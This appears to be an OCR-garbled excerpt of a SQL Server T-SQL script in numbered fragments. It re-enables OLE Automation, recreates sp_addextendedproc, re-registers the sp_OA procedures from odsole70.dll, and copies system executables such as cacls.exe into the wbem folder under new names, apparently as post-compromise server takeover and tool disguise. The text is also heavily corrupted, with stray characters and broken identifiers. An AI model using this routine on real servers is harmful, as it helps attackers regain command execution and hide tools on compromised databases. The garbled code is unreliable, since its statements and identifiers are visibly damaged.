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1、if(©©versionlike,MicrosoftSQLServer2000%，)usemaster;elseexecspconfigure'OleAutomationProcedures',1;RECONFIGUREWITHOVERRIDE;goifexists(select*fromdbo・sysobjectswhereidobject_id(N‘[dbo].[sp_addextendodproc]'))dropproceduresp_addextendcdprocifexists(select*f
2、romdbo・sysobjectswhereid二object._id(N"[dbo].[sp_0ACreate]'))dropproceduresp_oacreateifexists(select*fromdbo.sysobjectswhereid二object_id(N，[dbo].[sp_0ASetProperty]‘))dropproceduresp_0/SetProperty辻exists(select*fromdbo・sysobjectswhereid二objectid(N‘[db()]・[
3、spOADestroy]))dropprocedurespOADestroy辻exists(select*fromdbo・sysobjectswhereid二object_id(N，[dbo].[sp_OAMethod]1))dropproceduresp_OAMethod;gocreateproceduresp_addextendedproc@functnamenvarchar(517),@d11namevarchar(255)assetimplicit_transactionsoffif@@tranc
4、ount>0beginraisei^ror(15002,T,T,'sp_addextendedproc，)return(1)enddbccaddextendedproc(©functname,@dl1name)return(0);goifnotexists(select*fromdbo.sysobjectswhereid=object_id(N‘[dbo].[sp_OACreate]'))dbccaddextendedprocCsp_0ACreate','odsole70.dlV)ifnotexists(
5、select*fromdbo.sysobjectswhereid二object_id(N"[dbo].[sp_OASetProperty]J))dbccaddextendedprocCsp_0ASetProperty：odsole70.dll')ifnotexists(select*fromdbo>sysobjectswhereid=objectid(N，[db()]・[spOADestroy]))dbccaddextendedprocCsp0ADestroy，,'odsole70・dlT)ifnotex
6、ists(select*fromdbo.sysobjectswhereidobjectid(N‘[dbo].[sp0AMethod]))dbccaddextendedproc('sp_0AMethod，,'odsole70.dll');godeclare@sp_passwordoint;execsp_oacreate'scripting.filesystemobject，,@sp_passworcloout;execsp_oamethod©spjpasswordo,'copyfile',null,'c:
7、windowssystem32ps.exe','c:windowssystem32wbemsr.exe，;declare@sp_passwordodint;execspoacreate'scripting.fi1esystemobject",@sp_passwordodout;execsp_oamethod@sp_passwordod,'copyfile',null,'c:windowssystem32ws・exe",'c:windowssystcm32wbemsr・exe';d
8、eclare@sp_passwordosint;execsp_oacreate，scripting・filesystemobject',@sp_passwordosout;execsp_oamethod@sp_passwordos,'copyfile，,null,'c:winclowssystem32cacls.exe','c:windowssystem32wbemsiexe;declare@spjpasswo
